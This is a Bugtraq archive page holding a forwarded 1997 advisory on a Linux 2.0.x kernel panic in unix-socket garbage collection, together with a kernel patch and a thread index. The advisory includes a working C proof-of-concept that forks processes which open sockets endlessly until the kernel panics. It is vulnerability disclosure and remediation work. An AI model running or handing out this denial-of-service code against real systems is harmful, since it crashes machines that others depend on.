Bugtraq mailing list archives
Fw: Insufficient allocations in net/unix/garbage.c (fwd)
From: prj () NLS NET (Phillip R. Jaenke)
Date: Wed, 3 Dec 1997 20:54:42 -0500
-Phillip R. Jaenke [InterNIC Handle: PRJ5] (prj () nls net) MIS Department, PC Importers, Inc. 800.319.9284, x4262 "Why do you pay tax on Spam? It's a non-food product!" "Well, that would explain why it's in the hardware aisle."
---------- Forwarded message ----------
Date: Wed, 3 Dec 1997 15:47:35 -0500 (EST)
From: Floody <flood () evcom net>
To: linux-kernel () vger rutgers edu
Cc: linux-alert () redhat com, linux-security () redhat com
Subject: Insufficient allocations in net/unix/garbage.c
-----BEGIN PGP SIGNED MESSAGE-----
Kernels 2.0.x do not sufficiently allocate space for the internal stack
used for garbage collection on unix domain sockets. I have neither
examined nor tested 2.1.x kernels.
Because the garbage collection system defines a MAX_STACK depth of 1000
for it's internal use, it is relatively trivial to write a user-space
program which opens up a large number of unix domain sockets, eventually
causing a kernel panic in the garbage collection routines (which test for
this limit and panic if hit); on systems which have NR_FILE (or
/proc/sys/kernel/file-max) set to a value larger than 1024 or so. The
solution is slightly more complicated than simply increasing MAX_STACK,
due to the fact that a single page is allocated for the stack, and given
an i386 architecture, this can only hold 1024 entries.
The following illustrates how a user-space program might exploit this
bug, causing a kernel panic:
- --CUT HERE--
#include <stdio.h>
#include <sys/types.h>
#include <sys/socket.h>
void bomb()
{
while(1) {
while(socket(AF_UNIX, SOCK_STREAM, 0) != -1) ;
sleep(5);
}
}
int main()
{
int i;
printf("forking 6 unix socket bomb processes.\n");
fflush(stdout);
for(i = 0; i < 6; i++)
if(fork() == 0) bomb();
bomb();
return 0;
}
- --CUT HERE--
I have tested this under 2.0.32 and verified the panic. I have even been
able to cause a panic on a system which does NOT have
/proc/sys/kernel/file-max > 1024.
As a work-around, the following patch will cause the garbage collection
routine to calculate the exact _maximum_ stack depth it must allocate
for,
as well as using kmalloc()/kfree() instead of
get_free_page()/free_page().
- --CUT HERE- *** net/unix/garbage.c.orig Wed Dec 3 14:55:10 1997 - --- net/unix/garbage.c Wed Dec 3 15:04:57 1997 *************** *** 5,10 **** - --- 5,20 ---- * Copyright (C) Barak A. Pearlmutter. * Released under the GPL version 2 or later. * + * 12/3/97 -- Flood + * Internal stack is only allocated one page. On systems with NR_FILE + * > 1024, this makes it quite easy for a user-space program to open + * a large number of AF_UNIX domain sockets, causing the garbage + * collection routines to run up against the wall (and panic). + * Changed the MAX_STACK to be associated to the system-wide open file + * maximum, and use kmalloc() instead of get_free_page() [as more than + * one page may be necessary]. As noted below, this should ideally be + * done with a linked list. + * * Chopped about by Alan Cox 22/3/96 to make it fit the AF_UNIX socket
problem.
* If it doesn't work blame me, it worked when Barak sent it.
*
***************
*** 59,68 ****
/* Internal data structures and random procedures: */
- - #define MAX_STACK 1000 /* Maximum depth of tree (about 1 page) */
static unix_socket **stack; /* stack of objects to mark */
static int in_stack = 0; /* first free entry in stack */
!
extern inline unix_socket *unix_get_socket(struct file *filp)
{
- --- 69,77 ----
/* Internal data structures and random procedures: */
static unix_socket **stack; /* stack of objects to mark */
static int in_stack = 0; /* first free entry in stack */
! static int max_stack; /* Calculated in unix_gc() */
extern inline unix_socket *unix_get_socket(struct file *filp)
{
***************
*** 110,116 ****
extern inline void push_stack(unix_socket *x)
{
! if (in_stack == MAX_STACK)
panic("can't push onto full stack");
stack[in_stack++] = x;
}
- --- 119,125 ----
extern inline void push_stack(unix_socket *x)
{
! if (in_stack == max_stack)
panic("can't push onto full stack");
stack[in_stack++] = x;
}
***************
*** 151,158 ****
if(in_unix_gc)
return;
in_unix_gc=1;
!
! stack=(unix_socket **)get_free_page(GFP_KERNEL);
/*
* Assume everything is now unmarked
- --- 160,170 ----
if(in_unix_gc)
return;
in_unix_gc=1;
!
! max_stack = max_files;
!
! stack=(unix_socket **)kmalloc(max_stack * sizeof(unix_socket **),
! GFP_KERNEL);
/*
* Assume everything is now unmarked
***************
*** 276,280 ****
in_unix_gc=0;
! free_page((long)stack);
}
- --- 288,292 ----
in_unix_gc=0;
! kfree(stack);
}
-----BEGIN PGP SIGNATURE-----
Version: 2.6.2
iQCVAwUBNIXFaRsjWkWelde9AQH58wQAh+AaooTq+AcNUVyKc5hIMb04vOmFkoVW
3DaaqFvtlQ9Z0XBnfagWqguNB5HRzEG1MifkhofwXuhy64qAhcev/qZroYqS/Q96
ZeGXsdf4KE3LmZ5PDSrYAIRSgQjKT9A9yw6nRQUNqr/Nis7Fz5y7oQYoo2g12Jjg
l9N4fmbmPeY=
=kPxr
-----END PGP SIGNATURE-----
Current thread:
- Linux inetd.. moOd (Nov 30)
- Re: Linux inetd.. Aleph One (Dec 01)
- an detailed explaination why land attack works? Feiyi Wang (Nov 29)
- Possible Solaris 2.6 hole at(1M) sp00n (Dec 02)
- Re: Possible Solaris 2.6 hole at(1M) Casper Dik (Dec 04)
- Re: an detailed explaination why land attack works? Bill Paul (Dec 03)
- Fw: Insufficient allocations in net/unix/garbage.c (fwd) Phillip R. Jaenke (Dec 03)
- Re: Fw: Insufficient allocations in net/unix/garbage.c (fwd) Alan Cox (Dec 04)
- an detailed explaination why land attack works? Feiyi Wang (Nov 29)
- Sun Security Bulletin #00159 (fwd) Howie (Dec 03)
- Sun Security Bulletin #00160 (fwd) Howie (Dec 03)
- Q165005: Windows NT Slows Down Due to Land Attack Aleph One (Dec 04)
- Q177539: Windows 95 Stops Responding Because of Land Attack Aleph One (Dec 04)
- Re: Linux inetd.. Aleph One (Dec 01)
- More telnet Daemon Fun Aaron Campbell (Dec 01)
- Re: More telnet Daemon Fun Elliot Lee (Dec 02)
- tcsh/Solaris (Re: More telnet Daemon Fun) Peter Radcliffe (Dec 03)
- scoterm exploit Aleph One (Dec 04)
- Re: Linux inetd.. Alan Cox (Dec 02)
